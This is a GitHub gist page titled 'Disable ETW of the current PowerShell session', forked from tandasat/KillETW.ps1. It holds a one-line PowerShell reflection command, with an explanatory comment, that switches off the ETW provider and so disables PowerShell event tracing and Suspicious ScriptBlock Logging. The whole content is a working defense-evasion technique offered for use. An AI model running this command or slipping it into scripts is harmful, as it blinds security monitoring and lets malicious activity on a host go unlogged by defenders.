Skip to content

Instantly share code, notes, and snippets.

@vysecurity
Forked from tandasat/KillETW.ps1
Created June 10, 2018 12:47
Show Gist options
  • Save vysecurity/0ded3bfffa3332ba074e021f2f105c54 to your computer and use it in GitHub Desktop.
Save vysecurity/0ded3bfffa3332ba074e021f2f105c54 to your computer and use it in GitHub Desktop.
Disable ETW of the current PowerShell session
#
# This PowerShell command sets 0 to System.Management.Automation.Tracing.PSEtwLogProvider etwProvider.m_enabled
# which effectively disables Suspicious ScriptBlock Logging etc. Note that this command itself does not attempt
# to bypass Suspicious ScriptBlock Logging for readability.
#
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment